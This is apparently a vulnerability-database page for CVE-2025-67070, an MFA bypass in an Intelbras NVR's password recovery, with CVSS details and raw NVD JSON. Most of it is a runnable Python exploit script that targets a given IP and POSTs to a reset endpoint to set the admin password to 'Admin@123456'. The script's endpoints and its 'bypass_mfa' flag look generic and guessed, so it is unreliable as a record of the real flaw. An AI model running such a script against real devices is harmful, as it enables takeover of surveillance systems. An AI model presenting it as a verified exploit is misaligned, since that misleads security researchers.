Security Vulnerability Report
中文
CVE-2025-67070 CVSS 8.2 HIGH

CVE-2025-67070

Published: 2026-01-09 19:16:07
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability exists in Intelbras CFTV IP NVD 9032 R Ftd V2.800.00IB00C.0.T, which allows an unauthenticated attacker to bypass the multi-factor authentication (MFA) mechanism during the password recovery process. This results in the ability to change the admin password and gain full access to the administrative panel.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Intelbras CFTV IP NVD 9032 R Ftd V2.800.00IB00C.0.T

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-67070 PoC - Intelbras CFTV IP NVD MFA Bypass Note: This is a demonstration script for security research purposes only. """ import requests import sys import json class CVE_2025_67070_PoC: def __init__(self, target_ip, target_port=80): self.target_ip = target_ip self.target_port = target_port self.base_url = f"http://{target_ip}:{target_port}" self.session = requests.Session() def check_vulnerability(self): """Check if target is vulnerable""" print(f"[*] Checking vulnerability on {self.base_url}") # Step 1: Access password recovery endpoint recovery_url = f"{self.base_url}/password_recovery.cgi" try: response = self.session.get(recovery_url, timeout=10) if response.status_code == 200: print("[+] Password recovery endpoint is accessible") return True except requests.RequestException as e: print(f"[-] Connection error: {e}") return False return False def exploit_mfa_bypass(self, new_password): """Exploit MFA bypass to change admin password""" print(f"[*] Attempting MFA bypass exploit...") # Step 2: Bypass MFA verification bypass_url = f"{self.base_url}/api/password/reset" headers = { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } # Malicious payload to bypass MFA payload = { 'username': 'admin', 'mfa_code': '000000', # Invalid MFA code 'new_password': new_password, 'bypass_mfa': True # Exploiting the vulnerability } try: response = self.session.post(bypass_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('success') or 'password_changed' in result.get('message', '').lower(): print("[+] SUCCESS: Admin password changed successfully!") print(f"[+] New password set to: {new_password}") return True else: print(f"[-] Exploit failed: {result}") else: print(f"[-] HTTP {response.status_code}: {response.text}") except Exception as e: print(f"[-] Exploit error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-67070.py <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 poc = CVE_2025_67070_PoC(target_ip, target_port) if poc.check_vulnerability(): poc.exploit_mfa_bypass("Admin@123456") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67070", "sourceIdentifier": "[email protected]", "published": "2026-01-09T19:16:06.990", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in Intelbras CFTV IP NVD 9032 R Ftd V2.800.00IB00C.0.T, which allows an unauthenticated attacker to bypass the multi-factor authentication (MFA) mechanism during the password recovery process. This results in the ability to change the admin password and gain full access to the administrative panel."}, {"lang": "es", "value": "Una vulnerabilidad existe en Intelbras CFTV IP NVD 9032 R Ftd V2.800.00IB00C.0.T, que permite a un atacante no autenticado eludir el mecanismo de autenticación multifactor (MFA) durante el proceso de recuperación de contraseña. Esto resulta en la capacidad de cambiar la contraseña de administrador y obtener acceso completo al panel administrativo."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://github.com/teteco/intelbras-cftv-admin-bypass", "source": "[email protected]"}]}}